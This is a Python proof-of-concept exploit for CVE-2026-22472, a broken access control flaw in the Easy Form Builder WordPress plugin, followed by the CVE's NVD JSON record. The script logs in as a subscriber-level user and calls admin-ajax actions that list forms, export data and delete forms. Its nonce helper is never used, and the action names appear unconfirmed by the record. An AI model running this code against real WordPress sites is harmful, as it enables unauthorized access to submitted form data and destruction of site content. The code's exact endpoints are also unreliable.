CVE-2026-22472

# CVE-2026-22472 PoC - Easy Form Builder Broken Access Control # This PoC demonstrates the missing authorization vulnerability # Requires: Authenticated WordPress user (subscriber role or higher) import requests import sys TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" def get_wp_nonce(url, cookie): """Get WordPress nonce for authenticated requests""" resp = requests.get(f"{url}/wp-admin/", cookies=cookie) if resp.status_code == 200: import re nonce_match = re.search(r'data-nonce="([a-zA-Z0-9]+)"', resp.text) if nonce_match: return nonce_match.group(1) return None def exploit_efb_access_control(): """Exploit the missing authorization vulnerability""" session = requests.Session() # Step 1: Authenticate with WordPress login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'testcookie': '1' } resp = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") return False print("[+] Authenticated successfully") # Step 2: Access protected Easy Form Builder functionality # Without proper authorization check, low-privilege users can access admin functions protected_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php?action=efb_get_all_forms", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=efb_export_data", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=efb_delete_form" ] for endpoint in protected_endpoints: resp = session.get(endpoint) if resp.status_code == 200: print(f"[+] Accessed protected endpoint: {endpoint}") print(f"[+] Response: {resp.text[:200]}") return True if __name__ == "__main__": print("CVE-2026-22472 Easy Form Builder PoC") print("=" * 50) exploit_efb_access_control()

{"cve": {"id": "CVE-2026-22472", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:35.880", "lastModified": "2026-04-28T19:36:39.943", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in hassantafreshi Easy Form Builder easy-form-builder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Easy Form Builder: from n/a through <= 3.9.6."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en hassantafreshi Easy Form Builder easy-form-builder permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Easy Form Builder: desde n/a hasta &lt;= 3.9.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/easy-form-builder/vulnerability/wordpress-easy-form-builder-plugin-3-9-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}